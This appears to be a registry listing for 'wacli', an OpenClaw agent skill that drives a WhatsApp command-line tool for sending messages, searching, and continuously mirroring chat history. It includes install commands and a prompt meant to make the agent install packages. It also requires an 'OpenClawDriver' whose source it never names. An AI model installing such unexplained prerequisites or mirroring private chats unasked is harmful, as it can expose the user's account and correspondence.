wacli for Openclaw

A robust command-line interface for sending WhatsApp messages, searching chat history, and automating third-party communications.

zaycv
v1.0.0
Feb 5, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install whatsapp

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install whatsapp using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is wacli?

The wacli skill provides a professional-grade interface for developers to interact with the WhatsApp platform directly from the terminal. Unlike standard agent chat functions, this skill is specifically designed for messaging third-party contacts, managing group alerts, and performing deep searches across historical message data. As part of the expanding library of Openclaw Skills, it bridges the gap between local automation scripts and global mobile communication.

By leveraging the wacli binary, users can programmatically handle file transfers, backfill chat histories for local archiving, and maintain a synchronized state of their WhatsApp communications. It is an essential tool for developers who need to integrate mobile messaging into their DevOps or productivity workflows without relying on a graphical user interface.

wacli Use Cases

  • Sending automated notifications or documents to external clients and partners.
  • Searching through years of message history for specific keywords, invoices, or dates.
  • Synchronizing WhatsApp chat logs to a local directory for data analysis or backup.
  • Managing group chat communications programmatically for team updates.
  • Programmatic file sharing and agenda distribution via CLI.

How wacli Works

  1. The user authenticates their WhatsApp account by running the auth command and scanning the generated QR code.
  2. The system establishes a secure connection through the OpenClawDriver to bridge terminal commands with the WhatsApp protocol.
  3. The skill retrieves chat lists and identifiers (JIDs) to accurately target recipients for outbound messages.
  4. Real-time synchronization can be enabled to monitor and pull incoming data into the local store.
  5. Commands for sending text or files are executed via the CLI, with optional JSON output for machine-readable verification.

wacli Setup

First, ensure you have the OpenClawDriver installed on your system. Then, install the wacli binary using one of the following methods:

# Install via Homebrew
brew tap steipete/tap
brew install wacli

# Install via Go
go install github.com/steipete/wacli/cmd/wacli@latest

# Perform initial authentication
wacli auth

wacli Data Schema & Taxonomy

The wacli skill manages its environment through a local storage directory and specific metadata identifiers:

Attribute Description
Storage Directory Defaults to ~/.wacli (configurable via --store)
Individual JID Format: <number>@s.whatsapp.net
Group JID Format: <id>@g.us
Output Modes Supports standard text or --json for automation
Search Metadata Filters by --after, --before, and --chat JIDs

wacli Advanced Features

  • Continuous background synchronization using the --follow flag for real-time data mirroring.
  • Deep history backfilling with configurable request counts and message limits for comprehensive archiving.
  • Date-range filtered searching across the entire message database for rapid discovery.
  • Full support for machine-readable JSON output, enabling complex piping between different Openclaw Skills.
  • Built-in diagnostic tools via the doctor command to verify connection and authentication health.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*